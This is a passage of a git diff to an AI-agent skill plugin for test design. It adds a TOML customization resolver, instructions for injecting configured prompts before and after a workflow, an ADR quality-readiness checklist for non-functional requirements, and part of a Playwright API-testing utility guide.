+    if project_root is None:
+        # Try from the skill directory as fallback
+        project_root = find_project_root(skill_dir)
+
+    # Load three layers (lowest priority first, then merge upward)
+    defaults = load_toml(defaults_path)
+
+    team: dict[str, Any] = {}
+    user: dict[str, Any] = {}
+    if project_root is not None:
+        customizations_dir = project_root / "_bmad" / "customizations"
+        team = load_toml(customizations_dir / f"{args.skill_name}.toml")
+        user = load_toml(customizations_dir / f"{args.skill_name}.user.toml")
+
+    # Merge: defaults <- team <- user
+    merged = deep_merge(defaults, team)
+    merged = deep_merge(merged, user)
+
+    # Output
+    if args.keys:
+        result = {}
+        for key in args.keys:
+            value = extract_key(merged, key)
+            if value is not None:
+                result[key] = value
+        json.dump(result, sys.stdout, indent=2, ensure_ascii=False)
+    else:
+        json.dump(merged, sys.stdout, indent=2, ensure_ascii=False)
+
+    # Ensure trailing newline for clean terminal output
+    print()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/steps-c/step-01-load-context.md b/plugins/bmad/skills/bmad-testarch-nfr/steps-c/step-01-load-context.md
index 59b7870..6f5338e 100644
--- a/plugins/bmad/skills/bmad-testarch-nfr/steps-c/step-01-load-context.md
+++ b/plugins/bmad/skills/bmad-testarch-nfr/steps-c/step-01-load-context.md
@@ -2,7 +2,7 @@
 name: 'step-01-load-context'
 description: 'Load NFR requirements, evidence sources, and knowledge base'
 nextStepFile: './step-02-define-thresholds.md'
-knowledgeIndex: '${CLAUDE_PLUGIN_ROOT}/_shared/tea-index.csv'
+knowledgeIndex: './resources/tea-index.csv'
 outputFile: '{test_artifacts}/nfr-assessment.md'
 ---
 
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/SKILL.md b/plugins/bmad/skills/bmad-testarch-test-design/SKILL.md
index e4f9a53..17d394b 100644
--- a/plugins/bmad/skills/bmad-testarch-test-design/SKILL.md
+++ b/plugins/bmad/skills/bmad-testarch-test-design/SKILL.md
@@ -3,4 +3,24 @@ name: bmad-testarch-test-design
 description: 'Create system-level or epic-level test plans. Use when the user says "lets design test plan" or "I want to create test strategy"'
 ---
 
+## Available Scripts
+
+- **`scripts/resolve-customization.py`** -- Resolves customization from three-layer TOML merge (user > team > defaults). Outputs JSON.
+
+## Resolve Customization
+
+Resolve `inject` and `additional_resources` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-test-design --key inject --key additional_resources`
+Use the JSON output as resolved values.
+
+1. **Inject before** -- If `inject.before` resolved to a non-empty value, prepend it to your active instructions and follow it.
+2. **Available resources** -- Note the `additional_resources` list. Do not read these files now; they are available for the injected prompt or workflow steps to reference when needed.
+
 Follow the instructions in [workflow.md](workflow.md).
+
+## Post-Workflow Customization
+
+After the workflow completes, resolve `inject.after` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-test-design --key inject.after`
+
+If resolved `inject.after` is not empty, append it to your active instructions and follow it.
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/customize.toml b/plugins/bmad/skills/bmad-testarch-test-design/customize.toml
new file mode 100644
index 0000000..4656763
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/customize.toml
@@ -0,0 +1,27 @@
+# ──────────────────────────────────────────────────────────────────
+# Customization Defaults: bmad-testarch-test-design
+# This file defines all customizable fields for this skill.
+# DO NOT EDIT THIS FILE -- it is overwritten on every update.
+#
+# HOW TO CUSTOMIZE:
+# 1. Create an override file with only the fields you want to change:
+#      _bmad/customizations/bmad-testarch-test-design.toml       (team/org, committed to git)
+#      _bmad/customizations/bmad-testarch-test-design.user.toml   (personal, gitignored)
+# 2. Copy just the fields you want to override into your file.
+#    Unmentioned fields inherit from this defaults file.
+# 3. For array fields (like additional_resources), include the
+#    complete array you want -- arrays replace, not append.
+# ──────────────────────────────────────────────────────────────────
+
+# Additional resource files loaded into workflow context on activation.
+# Paths are relative to {project-root}.
+additional_resources = []
+
+# ──────────────────────────────────────────────────────────────────
+# Injected prompts - content woven into the workflow's context.
+# 'before' loads before the workflow begins.
+# 'after' loads after the workflow completes (pre-finalize).
+# ──────────────────────────────────────────────────────────────────
+[inject]
+before = ""
+after = ""
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/instructions.md b/plugins/bmad/skills/bmad-testarch-test-design/instructions.md
index bbfae09..e89bc20 100644
--- a/plugins/bmad/skills/bmad-testarch-test-design/instructions.md
+++ b/plugins/bmad/skills/bmad-testarch-test-design/instructions.md
@@ -2,7 +2,6 @@
 
 # Test Design and Risk Assessment
 
-**Workflow ID**: `_bmad/tea/testarch/bmad-testarch-test-design`
 **Version**: 5.0 (Step-File Architecture)
 
 ---
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/adr-quality-readiness-checklist.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/adr-quality-readiness-checklist.md
new file mode 100644
index 0000000..d6b5783
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/adr-quality-readiness-checklist.md
@@ -0,0 +1,377 @@
+# ADR Quality Readiness Checklist
+
+**Purpose:** Standardized 8-category, 29-criteria framework for evaluating system testability and NFR compliance during architecture review (Phase 3) and NFR assessment.
+
+**When to Use:**
+
+- System-level test design (Phase 3): Identify testability gaps in architecture
+- NFR assessment workflow: Structured evaluation with evidence
+- Gate decisions: Quantifiable criteria (X/29 met = PASS/CONCERNS/FAIL)
+
+**How to Use:**
+
+1. For each criterion, assess status: ✅ Covered / ⚠️ Gap / ⬜ Not Assessed
+2. Document gap description if ⚠️
+3. Describe risk if criterion unmet
+4. Map to test scenarios (what tests validate this criterion)
+
+---
+
+## 1. Testability & Automation
+
+**Question:** Can we verify this effectively without manual toil?
+
+| #   | Criterion                                                                                                                                  | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                                                          |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
+| 1.1 | **Isolation:** Can the service be tested with all downstream dependencies (DBs, APIs, Queues) mocked or stubbed?                           | Flaky tests; inability to test in isolation    | P1: Service runs with mocked DB, P1: Service runs with mocked API, P2: Integration tests with real deps |
+| 1.2 | **Headless Interaction:** Is 100% of the business logic accessible via API (REST/gRPC) to bypass the UI for testing?                       | Slow, brittle UI-based automation              | P0: All core logic callable via API, P1: No UI dependency for critical paths                            |
+| 1.3 | **State Control:** Do we have "Seeding APIs" or scripts to inject specific data states (e.g., "User with expired subscription") instantly? | Long setup times; inability to test edge cases | P0: Seed baseline data, P0: Inject edge case data states, P1: Cleanup after tests                       |
+| 1.4 | **Sample Requests:** Are there valid and invalid cURL/JSON sample requests provided in the design doc for QA to build upon?                | Ambiguity on how to consume the service        | P1: Valid request succeeds, P1: Invalid request fails with clear error                                  |
+
+**Common Gaps:**
+
+- No mock endpoints for external services (Athena, Milvus, third-party APIs)
+- Business logic tightly coupled to UI (requires E2E tests for everything)
+- No seeding APIs (manual database setup required)
+- ADR has architecture diagrams but no sample API requests
+
+**Mitigation Examples:**
+
+- 1.1 (Isolation): Provide mock endpoints, dependency injection, interface abstractions
+- 1.2 (Headless): Expose all business logic via REST/GraphQL APIs
+- 1.3 (State Control): Implement `/api/test-data` seeding endpoints (dev/staging only)
+- 1.4 (Sample Requests): Add "Example API Calls" section to ADR with cURL commands
+
+---
+
+## 2. Test Data Strategy
+
+**Question:** How do we fuel our tests safely?
+
+| #   | Criterion                                                                                                                             | Risk if Unmet                                | Typical Test Scenarios (P0-P2)                                                                 |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ---------------------------------------------------------------------------------------------- |
+| 2.1 | **Segregation:** Does the design support multi-tenancy or specific headers (e.g., x-test-user) to keep test data out of prod metrics? | Skewed business analytics; data pollution    | P0: Multi-tenant isolation (customer A ≠ customer B), P1: Test data excluded from prod metrics |
+| 2.2 | **Generation:** Can we use synthetic data, or do we rely on scrubbing production data (GDPR/PII risk)?                                | Privacy violations; dependency on stale data | P0: Faker-based synthetic data, P1: No production data in tests                                |
+| 2.3 | **Teardown:** Is there a mechanism to "reset" the environment or clean up data after destructive tests?                               | Environment rot; subsequent test failures    | P0: Automated cleanup after tests, P2: Environment reset script                                |
+
+**Common Gaps:**
+
+- No `customer_id` scoping in queries (cross-tenant data leakage risk)
+- Reliance on production data dumps (GDPR/PII violations)
+- No cleanup mechanism (tests leave data behind, polluting environment)
+
+**Mitigation Examples:**
+
+- 2.1 (Segregation): Enforce `customer_id` in all queries, add test-specific headers
+- 2.2 (Generation): Use Faker library, create synthetic data generators, prohibit prod dumps
+- 2.3 (Teardown): Auto-cleanup hooks in test framework, isolated test customer IDs
+
+---
+
+## 3. Scalability & Availability
+
+**Question:** Can it grow, and will it stay up?
+
+| #   | Criterion                                                                                                                   | Risk if Unmet                                     | Typical Test Scenarios (P0-P2)                                                                       |
+| --- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
+| 3.1 | **Statelessness:** Is the service stateless? If not, how is session state replicated across instances?                      | Inability to auto-scale horizontally              | P1: Service restart mid-request → no data loss, P2: Horizontal scaling under load                    |
+| 3.2 | **Bottlenecks:** Have we identified the weakest link (e.g., database connections, API rate limits) under load?              | System crash during peak traffic                  | P2: Load test identifies bottleneck, P2: Connection pool exhaustion handled                          |
+| 3.3 | **SLA Definitions:** What is the target Availability (e.g., 99.9%) and does the architecture support redundancy to meet it? | Breach of contract; customer churn                | P1: Availability target defined, P2: Redundancy validated (multi-region/zone)                        |
+| 3.4 | **Circuit Breakers:** If a dependency fails, does this service fail fast or hang?                                           | Cascading failures taking down the whole platform | P1: Circuit breaker opens on 5 failures, P1: Auto-reset after recovery, P2: Timeout prevents hanging |
+
+**Common Gaps:**
+
+- Stateful session management (can't scale horizontally)
+- No load testing, bottlenecks unknown
+- SLA undefined or unrealistic (99.99% without redundancy)
+- No circuit breakers (cascading failures)
+
+**Mitigation Examples:**
+
+- 3.1 (Statelessness): Externalize session to Redis/JWT, design for horizontal scaling
+- 3.2 (Bottlenecks): Load test with k6, monitor connection pools, identify weak links
+- 3.3 (SLA): Define realistic SLA (99.9% = 43 min/month downtime), add redundancy
+- 3.4 (Circuit Breakers): Implement circuit breakers (Hystrix pattern), fail fast on errors
+
+---
+
+## 4. Disaster Recovery (DR)
+
+**Question:** What happens when the worst-case scenario occurs?
+
+| #   | Criterion                                                                                                            | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                          |
+| --- | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------- |
+| 4.1 | **RTO/RPO:** What is the Recovery Time Objective (how long to restore) and Recovery Point Objective (max data loss)? | Extended outages; data loss liability          | P2: RTO defined and tested, P2: RPO validated (backup frequency)        |
+| 4.2 | **Failover:** Is region/zone failover automated or manual? Has it been practiced?                                    | "Heroics" required during outages; human error | P2: Automated failover works, P2: Manual failover documented and tested |
+| 4.3 | **Backups:** Are backups immutable and tested for restoration integrity?                                             | Ransomware vulnerability; corrupted backups    | P2: Backup restore succeeds, P2: Backup immutability validated          |
+
+**Common Gaps:**
+
+- RTO/RPO undefined (no recovery plan)
+- Failover never tested (manual process, prone to errors)
+- Backups exist but restoration never validated (untested backups = no backups)
+
+**Mitigation Examples:**
+
+- 4.1 (RTO/RPO): Define RTO (e.g., 4 hours) and RPO (e.g., 1 hour), document recovery procedures
+- 4.2 (Failover): Automate multi-region failover, practice failover drills quarterly
+- 4.3 (Backups): Implement immutable backups (S3 versioning), test restore monthly
+
+---
+
+## 5. Security
+
+**Question:** Is the design safe by default?
+
+| #   | Criterion                                                                                                        | Risk if Unmet                            | Typical Test Scenarios (P0-P2)                                                                                   |
+| --- | ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
+| 5.1 | **AuthN/AuthZ:** Does it implement standard protocols (OAuth2/OIDC)? Are permissions granular (Least Privilege)? | Unauthorized access; data leaks          | P0: OAuth flow works, P0: Expired token rejected, P0: Insufficient permissions return 403, P1: Scope enforcement |
+| 5.2 | **Encryption:** Is data encrypted at rest (DB) and in transit (TLS)?                                             | Compliance violations; data theft        | P1: Milvus data-at-rest encrypted, P1: TLS 1.2+ enforced, P2: Certificate rotation works                         |
+| 5.3 | **Secrets:** Are API keys/passwords stored in a Vault (not in code or config files)?                             | Credentials leaked in git history        | P1: No hardcoded secrets in code, P1: Secrets loaded from AWS Secrets Manager                                    |
+| 5.4 | **Input Validation:** Are inputs sanitized against Injection attacks (SQLi, XSS)?                                | System compromise via malicious payloads | P1: SQL injection sanitized, P1: XSS escaped, P2: Command injection prevented                                    |
+
+**Common Gaps:**
+
+- Weak authentication (no OAuth, hardcoded API keys)
+- No encryption at rest (plaintext in database)
+- Secrets in git (API keys, passwords in config files)
+- No input validation (vulnerable to SQLi, XSS, command injection)
+
+**Mitigation Examples:**
+
+- 5.1 (AuthN/AuthZ): Implement OAuth 2.1/OIDC, enforce least privilege, validate scopes
+- 5.2 (Encryption): Enable TDE (Transparent Data Encryption), enforce TLS 1.2+
+- 5.3 (Secrets): Migrate to AWS Secrets Manager/Vault, scan git history for leaks
+- 5.4 (Input Validation): Sanitize all inputs, use parameterized queries, escape outputs
+
+---
+
+## 6. Monitorability, Debuggability & Manageability
+
+**Question:** Can we operate and fix this in production?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                      | Typical Test Scenarios (P0-P2)                                                                    |
+| --- | ---------------------------------------------------------------------------------------------------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
+| 6.1 | **Tracing:** Does the service propagate W3C Trace Context / Correlation IDs for distributed tracing? | Impossible to debug errors across microservices    | P2: W3C Trace Context propagated (EventBridge → Lambda → Service), P2: Correlation ID in all logs |
+| 6.2 | **Logs:** Can log levels (INFO vs DEBUG) be toggled dynamically without a redeploy?                  | Inability to diagnose issues in real-time          | P2: Log level toggle works without redeploy, P2: Logs structured (JSON format)                    |
+| 6.3 | **Metrics:** Does it expose RED metrics (Rate, Errors, Duration) for Prometheus/Datadog?             | Flying blind regarding system health               | P2: /metrics endpoint exposes RED metrics, P2: Prometheus/Datadog scrapes successfully            |
+| 6.4 | **Config:** Is configuration externalized? Can we change behavior without a code build?              | Rigid system; full deploys needed for minor tweaks | P2: Config change without code build, P2: Feature flags toggle behavior                           |
+
+**Common Gaps:**
+
+- No distributed tracing (can't debug across microservices)
+- Static log levels (requires redeploy to enable DEBUG)
+- No metrics endpoint (blind to system health)
+- Configuration hardcoded (requires full deploy for minor changes)
+
+**Mitigation Examples:**
+
+- 6.1 (Tracing): Implement W3C Trace Context, add correlation IDs to all logs
+- 6.2 (Logs): Use dynamic log levels (environment variable), structured logging (JSON)
+- 6.3 (Metrics): Expose /metrics endpoint, track RED metrics (Rate, Errors, Duration)
+- 6.4 (Config): Externalize config (AWS SSM/AppConfig), use feature flags (LaunchDarkly)
+
+---
+
+## 7. QoS (Quality of Service) & QoE (Quality of Experience)
+
+**Question:** How does it perform, and how does it feel?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                                  |
+| --- | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------- |
+| 7.1 | **Latency (QoS):** What are the P95 and P99 latency targets?                                         | Slow API responses affecting throughput                | P3: P95 latency <Xs (load test), P3: P99 latency <Ys (load test)                                |
+| 7.2 | **Throttling (QoS):** Is there Rate Limiting to prevent "noisy neighbors" or DDoS?                   | Service degradation for all users due to one bad actor | P2: Rate limiting enforced, P2: 429 returned when limit exceeded                                |
+| 7.3 | **Perceived Performance (QoE):** Does the UI show optimistic updates or skeletons while loading?     | App feels sluggish to the user                         | P2: Skeleton/spinner shown while loading (E2E), P2: Optimistic updates (E2E)                    |
+| 7.4 | **Degradation (QoE):** If the service is slow, does it show a friendly message or a raw stack trace? | Poor user trust; frustration                           | P2: Friendly error message shown (not stack trace), P1: Error boundary catches exceptions (E2E) |
+
+**Common Gaps:**
+
+- Latency targets undefined (no SLOs)
+- No rate limiting (vulnerable to DDoS, noisy neighbors)
+- Poor perceived performance (blank screen while loading)
+- Raw error messages (stack traces exposed to users)
+
+**Mitigation Examples:**
+
+- 7.1 (Latency): Define SLOs (P95 <2s, P99 <5s), load test to validate
+- 7.2 (Throttling): Implement rate limiting (per-user, per-IP), return 429 with Retry-After
+- 7.3 (Perceived Performance): Add skeleton screens, optimistic updates, progressive loading
+- 7.4 (Degradation): Implement error boundaries, show friendly messages, log stack traces server-side
+
+---
+
+## 8. Deployability
+
+**Question:** How easily can we ship this?
+
+| #   | Criterion                                                                                  | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                 |
+| --- | ------------------------------------------------------------------------------------------ | ------------------------------------------------------ | ------------------------------------------------------------------------------ |
+| 8.1 | **Zero Downtime:** Does the design support Blue/Green or Canary deployments?               | Maintenance windows required (downtime)                | P2: Blue/Green deployment works, P2: Canary deployment gradual rollout         |
+| 8.2 | **Backward Compatibility:** Can we deploy the DB changes separately from the Code changes? | "Lock-step" deployments; high risk of breaking changes | P2: DB migration before code deploy, P2: Code handles old and new schema       |
+| 8.3 | **Rollback:** Is there an automated rollback trigger if Health Checks fail post-deploy?    | Prolonged outages after a bad deploy                   | P2: Health check fails → automated rollback, P2: Rollback completes within RTO |
+
+**Common Gaps:**
+
+- No zero-downtime strategy (requires maintenance window)
+- Tight coupling between DB and code (lock-step deployments)
+- No automated rollback (manual intervention required)
+
+**Mitigation Examples:**
+
+- 8.1 (Zero Downtime): Implement Blue/Green or Canary deployments, use feature flags
+- 8.2 (Backward Compatibility): Separate DB migrations from code deploys, support N-1 schema
+- 8.3 (Rollback): Automate rollback on health check failures, test rollback procedures
+
+---
+
+## Usage in Test Design Workflow
+
+**System-Level Mode (Phase 3):**
+
+**In test-design-architecture.md:**
+
+- Add "NFR Testability Requirements" section after ASRs
+- Use 8 categories with checkboxes (29 criteria)
+- For each criterion: Status (⬜ Not Assessed, ⚠️ Gap, ✅ Covered), Gap description, Risk if unmet
+- Example:
+
+```markdown
+## NFR Testability Requirements
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation
+
+Can we verify this effectively without manual toil?
+
+| Criterion                                                        | Status          | Gap/Requirement                      | Risk if Unmet                           |
+| ---------------------------------------------------------------- | --------------- | ------------------------------------ | --------------------------------------- |
+| ⬜ Isolation: Can service be tested with downstream deps mocked? | ⚠️ Gap          | No mock endpoints for Athena queries | Flaky tests; can't test in isolation    |
+| ⬜ Headless: 100% business logic accessible via API?             | ✅ Covered      | All MCP tools are REST APIs          | N/A                                     |
+| ⬜ State Control: Seeding APIs to inject data states?            | ⚠️ Gap          | Need `/api/test-data` endpoints      | Long setup times; can't test edge cases |
+| ⬜ Sample Requests: Valid/invalid cURL/JSON samples provided?    | ⬜ Not Assessed | Pending ADR Tool schemas finalized   | Ambiguity on how to consume service     |
+
+**Actions Required:**
+
+- [ ] Backend: Implement mock endpoints for Athena (R-002 blocker)
+- [ ] Backend: Implement `/api/test-data` seeding APIs (R-002 blocker)
+- [ ] PM: Finalize ADR Tool schemas with sample requests (Q4)
+```
+
+**In test-design-qa.md:**
+
+- Map each criterion to test scenarios
+- Add "NFR Test Coverage Plan" section with P0/P1/P2 priority for each category
+- Reference Architecture doc gaps
+- Example:
+
+```markdown
+## NFR Test Coverage Plan
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation (4 criteria)
+
+**Prerequisites from Architecture doc:**
+
+- [ ] R-002: Test data seeding APIs implemented (blocker)
+- [ ] Mock endpoints available for Athena queries
+
+| Criterion                       | Test Scenarios                                                       | Priority | Test Count | Owner            |
+| ------------------------------- | -------------------------------------------------------------------- | -------- | ---------- | ---------------- |
+| Isolation: Mock downstream deps | Mock Athena queries, Mock Milvus, Service runs isolated              | P1       | 3          | Backend Dev + QA |
+| Headless: API-accessible logic  | All MCP tools callable via REST, No UI dependency for business logic | P0       | 5          | QA               |
+| State Control: Seeding APIs     | Create test customer, Seed 1000 transactions, Inject edge cases      | P0       | 4          | QA               |
+| Sample Requests: cURL examples  | Valid request succeeds, Invalid request fails with clear error       | P1       | 2          | QA               |
+
+**Detailed Test Scenarios:**
+
+- [ ] Isolation: Service runs with Athena mocked (returns fixture data)
+- [ ] Isolation: Service runs with Milvus mocked (returns ANN fixture)
+- [ ] State Control: Seed test customer with 1000 baseline transactions
+- [ ] State Control: Inject edge case (expired subscription user)
+```
+
+---
+
+## Usage in NFR Assessment Workflow
+
+**Output Structure:**
+
+```markdown
+# NFR Assessment: {Feature Name}
+
+**Based on ADR Quality Readiness Checklist (8 categories, 29 criteria)**
+
+## Assessment Summary
+
+| Category                      | Status      | Criteria Met | Evidence                               | Next Action          |
+| ----------------------------- | ----------- | ------------ | -------------------------------------- | -------------------- |
+| 1. Testability & Automation   | ⚠️ CONCERNS | 2/4          | Mock endpoints missing                 | Implement R-002      |
+| 2. Test Data Strategy         | ✅ PASS     | 3/3          | Faker + auto-cleanup                   | None                 |
+| 3. Scalability & Availability | ⚠️ CONCERNS | 1/4          | SLA undefined                          | Define SLA           |
+| 4. Disaster Recovery          | ⚠️ CONCERNS | 0/3          | No RTO/RPO defined                     | Define recovery plan |
+| 5. Security                   | ✅ PASS     | 4/4          | OAuth 2.1 + TLS + Vault + Sanitization | None                 |
+| 6. Monitorability             | ⚠️ CONCERNS | 2/4          | No metrics endpoint                    | Add /metrics         |
+| 7. QoS & QoE                  | ⚠️ CONCERNS | 1/4          | Latency targets undefined              | Define SLOs          |
+| 8. Deployability              | ✅ PASS     | 3/3          | Blue/Green + DB migrations + Rollback  | None                 |
+
+**Overall:** 14/29 criteria met (48%) → ⚠️ CONCERNS
+
+**Gate Decision:** CONCERNS (requires mitigation plan before GA)
+
+---
+
+## Detailed Assessment
+
+### 1. Testability & Automation (2/4 criteria met)
+
+**Question:** Can we verify this effectively without manual toil?
+
+| Criterion                    | Status | Evidence                 | Gap/Action                 |
+| ---------------------------- | ------ | ------------------------ | -------------------------- |
+| ⬜ Isolation: Mock deps      | ⚠️     | No Athena mock           | Implement mock endpoints   |
+| ⬜ Headless: API-accessible  | ✅     | All MCP tools are REST   | N/A                        |
+| ⬜ State Control: Seeding    | ⚠️     | `/api/test-data` pending | Pre-implementation blocker |
+| ⬜ Sample Requests: Examples | ⬜     | Pending schemas          | Finalize ADR Tools         |
+
+**Overall Status:** ⚠️ CONCERNS (2/4 criteria met)
+
+**Next Actions:**
+
+- [ ] Backend: Implement Athena mock endpoints (pre-implementation)
+- [ ] Backend: Implement `/api/test-data` (pre-implementation)
+- [ ] PM: Finalize sample requests (implementation phase)
+
+{Repeat for all 8 categories}
+```
+
+---
+
+## Benefits
+
+**For test-design workflow:**
+
+- ✅ Standard NFR structure (same 8 categories every project)
+- ✅ Clear testability requirements for Architecture team
+- ✅ Direct mapping: criterion → requirement → test scenario
+- ✅ Comprehensive coverage (29 criteria = no blind spots)
+
+**For nfr-assess workflow:**
+
+- ✅ Structured assessment (not ad-hoc)
+- ✅ Quantifiable (X/29 criteria met)
+- ✅ Evidence-based (each criterion has evidence field)
+- ✅ Actionable (gaps → next actions with owners)
+
+**For Architecture teams:**
+
+- ✅ Clear checklist (29 yes/no questions)
+- ✅ Risk-aware (each criterion has "risk if unmet")
+- ✅ Scoped work (only implement what's needed, not everything)
+
+**For QA teams:**
+
+- ✅ Comprehensive test coverage (29 criteria → test scenarios)
+- ✅ Clear priorities (P0 for security/isolation, P1 for monitoring, etc.)
+- ✅ No ambiguity (each criterion has specific test scenarios)
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/api-request.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/api-request.md
new file mode 100644
index 0000000..a66cef5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/api-request.md
@@ -0,0 +1,563 @@
+# API Request Utility
+
+## Principle
+
+Use typed HTTP client with built-in schema validation and automatic retry for server errors. The utility handles URL resolution, header management, response parsing, and single-line response validation with proper TypeScript support. **Works without a browser** - ideal for pure API/service testing.
+
+## Rationale
+
+Vanilla Playwright's request API requires boilerplate for common patterns:
+
+- Manual JSON parsing (`await response.json()`)
+- Repetitive status code checking
+- No built-in retry logic for transient failures
+- No schema validation
+- Complex URL construction
+
+The `apiRequest` utility provides:
+
+- **Automatic JSON parsing**: Response body pre-parsed
+- **Built-in retry**: 5xx errors retry with exponential backoff
+- **Schema validation**: Single-line validation (JSON Schema, Zod, OpenAPI)
+- **URL resolution**: Four-tier strategy (explicit > config > Playwright > direct)
+- **TypeScript generics**: Type-safe response bodies
+- **No browser required**: Pure API testing without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic API Request
+
+**Context**: Making authenticated API requests with automatic retry and type safety.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('should fetch user data', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User>({
+    method: 'GET',
+    path: '/api/users/123',
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(200);
+  expect(body.name).toBe('John Doe'); // TypeScript knows body is User
+});
+```
+
+**Key Points**:
+
+- Generic type `<User>` provides TypeScript autocomplete for `body`
+- Status and body destructured from response
+- Headers passed as object
+- Automatic retry for 5xx errors (configurable)
+
+### Example 2: Schema Validation (Single Line)
+
+**Context**: Validate API responses match expected schema with single-line syntax.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// JSON Schema validation
+test('should validate response schema (JSON Schema)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: {
+      type: 'object',
+      required: ['id', 'name', 'email'],
+      properties: {
+        id: { type: 'string' },
+        name: { type: 'string' },
+        email: { type: 'string', format: 'email' },
+      },
+    },
+  });
+  // Throws if schema validation fails
+  expect(status).toBe(200);
+});
+
+// Zod schema validation
+const UserSchema = z.object({
+  id: z.string(),
+  name: z.string(),
+  email: z.string().email(),
+});
+
+test('should validate response schema (Zod)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: UserSchema,
+  });
+  // Response body is type-safe AND validated
+  expect(status).toBe(200);
+  expect(body.email).toContain('@');
+});
+```
+
+**Key Points**:
+
+- Single `validateSchema` parameter
+- Supports JSON Schema, Zod, YAML files, OpenAPI specs
+- Throws on validation failure with detailed errors
+- Zero boilerplate validation code
+
+### Example 3: POST with Body and Retry Configuration
+
+**Context**: Creating resources with custom retry behavior for error testing.
+
+**Implementation**:
+
+```typescript
+test('should create user', async ({ apiRequest }) => {
+  const newUser = {
+    name: 'Jane Doe',
+    email: 'jane@example.com',
+  };
+
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: newUser, // Automatically sent as JSON
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+
+// Disable retry for error testing
+test('should handle 500 errors', async ({ apiRequest }) => {
+  await expect(
+    apiRequest({
+      method: 'GET',
+      path: '/api/error',
+      retryConfig: { maxRetries: 0 }, // Disable retry
+    }),
+  ).rejects.toThrow('Request failed with status 500');
+});
+```
+
+**Key Points**:
+
+- `body` parameter auto-serializes to JSON
+- Default retry: 5xx errors, 3 retries, exponential backoff
+- Disable retry with `retryConfig: { maxRetries: 0 }`
+- Only 5xx errors retry (4xx errors fail immediately)
+
+### Example 4: URL Resolution Strategy
+
+**Context**: Flexible URL handling for different environments and test contexts.
+
+**Implementation**:
+
+```typescript
+// Strategy 1: Explicit baseUrl (highest priority)
+await apiRequest({
+  method: 'GET',
+  path: '/users',
+  baseUrl: 'https://api.example.com', // Uses https://api.example.com/users
+});
+
+// Strategy 2: Config baseURL (from fixture)
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.use({ configBaseUrl: 'https://staging-api.example.com' });
+
+test('uses config baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://staging-api.example.com/users
+  });
+});
+
+// Strategy 3: Playwright baseURL (from playwright.config.ts)
+// playwright.config.ts
+export default defineConfig({
+  use: {
+    baseURL: 'https://api.example.com',
+  },
+});
+
+test('uses Playwright baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://api.example.com/users
+  });
+});
+
+// Strategy 4: Direct path (full URL)
+await apiRequest({
+  method: 'GET',
+  path: 'https://api.example.com/users', // Full URL works too
+});
+```
+
+**Key Points**:
+
+- Four-tier resolution: explicit > config > Playwright > direct
+- Trailing slashes normalized automatically
+- Environment-specific baseUrl easy to configure
+
+### Example 5: Integration with Recurse (Polling)
+
+**Context**: Waiting for async operations to complete (background jobs, eventual consistency).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('should poll until job completes', async ({ apiRequest, recurse }) => {
+  // Create job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  const jobId = body.id;
+
+  // Poll until ready
+  const completedJob = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${jobId}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000, interval: 2000 },
+  );
+
+  expect(completedJob.body.result).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- `apiRequest` returns full response object
+- `recurse` polls until predicate returns true
+- Composable utilities work together seamlessly
+
+### Example 6: Microservice Testing (Multiple Services)
